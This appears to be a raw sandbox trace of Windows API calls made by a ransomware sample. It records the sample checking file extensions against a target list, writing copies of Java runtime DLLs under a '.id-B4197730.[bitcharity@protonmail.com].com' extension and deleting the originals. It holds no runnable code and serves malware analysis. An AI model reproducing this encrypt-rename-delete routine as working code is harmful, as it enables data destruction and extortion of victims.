(lpString=".xlsx") returned 5 [0296.529] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0296.529] lstrlenW (lpString=".ppt") returned 4 [0296.529] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0296.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0296.529] lstrlenW (lpString=".zip") returned 4 [0296.529] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0296.529] lstrlenW (lpString=".rar") returned 4 [0296.529] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0296.529] lstrlenW (lpString=".bz2") returned 4 [0296.529] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0296.529] lstrlenW (lpString=".7z") returned 3 [0296.529] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0296.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0296.529] lstrlenW (lpString=".dbf") returned 4 [0296.529] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0296.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0296.529] lstrlenW (lpString=".1cd") returned 4 [0296.529] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0296.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0296.529] lstrlenW (lpString=".jpg") returned 4 [0296.529] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0296.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0296.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0296.529] lstrlenW (lpString=".doc") returned 4 [0296.529] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0296.529] lstrlenW (lpString=".docx") returned 5 [0296.529] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0296.529] lstrlenW (lpString=".pdf") returned 4 [0296.529] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0296.529] lstrlenW (lpString=".xls") returned 4 [0296.529] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0296.530] lstrlenW (lpString=".xlsx") returned 5 [0296.530] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0296.530] lstrlenW (lpString=".ppt") returned 4 [0296.530] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0296.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0296.530] lstrlenW (lpString=".zip") returned 4 [0296.530] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0296.530] lstrlenW (lpString=".rar") returned 4 [0296.530] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0296.530] lstrlenW (lpString=".bz2") returned 4 [0296.530] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0296.530] lstrlenW (lpString=".7z") returned 3 [0296.530] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0296.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0296.530] lstrlenW (lpString=".dbf") returned 4 [0296.530] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0296.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0296.530] lstrlenW (lpString=".1cd") returned 4 [0296.530] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0296.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64 [0296.530] lstrlenW (lpString=".jpg") returned 4 [0296.530] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0296.530] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0296.530] lstrlenW (lpString="bci.dll") returned 7 [0296.530] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0296.531] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=16960) returned 1 [0296.531] CloseHandle (hObject=0x10b4) returned 1 [0296.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 0x20 [0296.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.531] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0296.531] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.531] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.531] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0296.531] GetLastError () returned 0x0 [0296.531] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x4240, lpOverlapped=0x0) returned 1 [0297.488] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x4250, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x4250, lpOverlapped=0x0) returned 1 [0297.489] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.490] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xe2, lpOverlapped=0x0) returned 1 [0297.490] SetEndOfFile (hFile=0x1084) returned 1 [0297.490] CloseHandle (hObject=0x1084) returned 1 [0297.490] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.490] SetEndOfFile (hFile=0x10b4) returned 1 [0297.491] CloseHandle (hObject=0x10b4) returned 1 [0297.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0297.491] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 1 [0297.492] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0297.492] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0297.492] lstrlenW (lpString=".doc") returned 4 [0297.492] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.492] lstrlenW (lpString=".docx") returned 5 [0297.492] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0297.492] lstrlenW (lpString=".pdf") returned 4 [0297.492] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.492] lstrlenW (lpString=".xls") returned 4 [0297.492] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.492] lstrlenW (lpString=".xlsx") returned 5 [0297.492] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0297.492] lstrlenW (lpString=".ppt") returned 4 [0297.492] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.492] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0297.492] lstrlenW (lpString=".zip") returned 4 [0297.492] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.492] lstrlenW (lpString=".rar") returned 4 [0297.492] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.492] lstrlenW (lpString=".bz2") returned 4 [0297.492] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.492] lstrlenW (lpString=".7z") returned 3 [0297.492] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.492] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0297.492] lstrlenW (lpString=".dbf") returned 4 [0297.492] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.493] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0297.493] lstrlenW (lpString=".1cd") returned 4 [0297.493] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.493] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0297.493] lstrlenW (lpString=".jpg") returned 4 [0297.493] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.493] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0297.493] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0297.493] lstrlenW (lpString=".doc") returned 4 [0297.493] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.493] lstrlenW (lpString=".docx") returned 5 [0297.493] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0297.493] lstrlenW (lpString=".pdf") returned 4 [0297.493] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.493] lstrlenW (lpString=".xls") returned 4 [0297.493] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.493] lstrlenW (lpString=".xlsx") returned 5 [0297.493] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0297.493] lstrlenW (lpString=".ppt") returned 4 [0297.493] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.493] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0297.493] lstrlenW (lpString=".zip") returned 4 [0297.493] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.493] lstrlenW (lpString=".rar") returned 4 [0297.493] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.493] lstrlenW (lpString=".bz2") returned 4 [0297.493] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.493] lstrlenW (lpString=".7z") returned 3 [0297.493] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.494] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0297.494] lstrlenW (lpString=".dbf") returned 4 [0297.494] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.494] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0297.494] lstrlenW (lpString=".1cd") returned 4 [0297.494] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.494] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0297.494] lstrlenW (lpString=".jpg") returned 4 [0297.494] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.494] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0297.494] lstrlenW (lpString="dt_shmem.dll") returned 12 [0297.494] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0297.494] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=29760) returned 1 [0297.495] CloseHandle (hObject=0x10b4) returned 1 [0297.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 0x20 [0297.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.495] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0297.495] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.495] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.495] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0297.495] GetLastError () returned 0x0 [0297.495] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x7440, lpOverlapped=0x0) returned 1 [0297.618] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x7450, lpOverlapped=0x0) returned 1 [0297.620] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.620] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xec, lpOverlapped=0x0) returned 1 [0297.620] SetEndOfFile (hFile=0x1084) returned 1 [0297.620] CloseHandle (hObject=0x1084) returned 1 [0297.620] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.620] SetEndOfFile (hFile=0x10b4) returned 1 [0297.621] CloseHandle (hObject=0x10b4) returned 1 [0297.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0297.621] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 1 [0297.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0297.622] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0297.622] lstrlenW (lpString=".doc") returned 4 [0297.622] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.622] lstrlenW (lpString=".docx") returned 5 [0297.622] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0297.622] lstrlenW (lpString=".pdf") returned 4 [0297.622] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.623] lstrlenW (lpString=".xls") returned 4 [0297.623] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.623] lstrlenW (lpString=".xlsx") returned 5 [0297.623] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0297.623] lstrlenW (lpString=".ppt") returned 4 [0297.623] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0297.623] lstrlenW (lpString=".zip") returned 4 [0297.623] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.623] lstrlenW (lpString=".rar") returned 4 [0297.623] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.623] lstrlenW (lpString=".bz2") returned 4 [0297.623] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.623] lstrlenW (lpString=".7z") returned 3 [0297.623] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0297.623] lstrlenW (lpString=".dbf") returned 4 [0297.623] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0297.623] lstrlenW (lpString=".1cd") returned 4 [0297.623] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0297.623] lstrlenW (lpString=".jpg") returned 4 [0297.623] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0297.623] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0297.623] lstrlenW (lpString=".doc") returned 4 [0297.623] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.623] lstrlenW (lpString=".docx") returned 5 [0297.623] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0297.623] lstrlenW (lpString=".pdf") returned 4 [0297.623] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.624] lstrlenW (lpString=".xls") returned 4 [0297.624] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.624] lstrlenW (lpString=".xlsx") returned 5 [0297.624] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0297.624] lstrlenW (lpString=".ppt") returned 4 [0297.624] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0297.624] lstrlenW (lpString=".zip") returned 4 [0297.624] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.624] lstrlenW (lpString=".rar") returned 4 [0297.624] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.624] lstrlenW (lpString=".bz2") returned 4 [0297.624] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.624] lstrlenW (lpString=".7z") returned 3 [0297.624] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0297.624] lstrlenW (lpString=".dbf") returned 4 [0297.624] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0297.624] lstrlenW (lpString=".1cd") returned 4 [0297.624] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.624] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0297.624] lstrlenW (lpString=".jpg") returned 4 [0297.624] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.624] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0297.624] lstrlenW (lpString="dt_socket.dll") returned 13 [0297.624] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0297.625] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=24640) returned 1 [0297.625] CloseHandle (hObject=0x10b4) returned 1 [0297.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 0x20 [0297.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0297.625] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0297.625] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.625] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.625] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0297.626] GetLastError () returned 0x0 [0297.626] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x6040, lpOverlapped=0x0) returned 1 [0297.706] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x6050, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x6050, lpOverlapped=0x0) returned 1 [0297.707] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.707] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xee, lpOverlapped=0x0) returned 1 [0297.707] SetEndOfFile (hFile=0x1084) returned 1 [0297.707] CloseHandle (hObject=0x1084) returned 1 [0297.707] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.707] SetEndOfFile (hFile=0x10b4) returned 1 [0297.708] CloseHandle (hObject=0x10b4) returned 1 [0297.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0297.708] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 1 [0297.709] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0297.709] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0297.709] lstrlenW (lpString=".doc") returned 4 [0297.709] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.709] lstrlenW (lpString=".docx") returned 5 [0297.709] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0297.709] lstrlenW (lpString=".pdf") returned 4 [0297.709] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.709] lstrlenW (lpString=".xls") returned 4 [0297.709] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.709] lstrlenW (lpString=".xlsx") returned 5 [0297.709] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0297.709] lstrlenW (lpString=".ppt") returned 4 [0297.709] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.709] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0297.709] lstrlenW (lpString=".zip") returned 4 [0297.709] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.709] lstrlenW (lpString=".rar") returned 4 [0297.709] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.709] lstrlenW (lpString=".bz2") returned 4 [0297.709] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.709] lstrlenW (lpString=".7z") returned 3 [0297.709] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.709] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0297.709] lstrlenW (lpString=".dbf") returned 4 [0297.709] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.709] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0297.709] lstrlenW (lpString=".1cd") returned 4 [0297.709] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.709] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0297.709] lstrlenW (lpString=".jpg") returned 4 [0297.709] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.709] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") 